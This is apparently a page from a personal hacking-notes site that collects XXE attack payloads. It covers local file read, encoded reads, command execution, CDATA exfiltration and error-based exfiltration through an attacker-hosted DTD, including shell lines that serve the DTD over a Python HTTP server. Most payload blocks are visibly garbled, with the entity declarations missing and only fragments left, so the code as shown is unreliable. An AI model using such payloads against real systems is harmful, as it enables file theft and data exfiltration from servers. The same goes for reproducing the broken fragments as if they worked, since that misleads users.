> For the complete documentation index, see [llms.txt](https://sheepwall.gitbook.io/home/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sheepwall.gitbook.io/home/hacking/exploitation/xxe.md).
# XXE
### LFI
```
]>
&company;
```
### LFI Encoded
```
]>
&company;
```
### RCE
```
]>
&company;
```
### CDATA Exfiltration
```
enyei@htb[/htb]$ echo '' > xxe.dtd
enyei@htb[/htb]$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 () ...
```
```
">
%xxe;
]>
&joined;
```
### Error Based XXE
* Host this external dtd on our server
{% code overflow="wrap" %}
```
">
%oob;
%content;
```
{% endcode %}
{% code overflow="wrap" %}
```
%remote;]>
&content;
```
{% endcode %}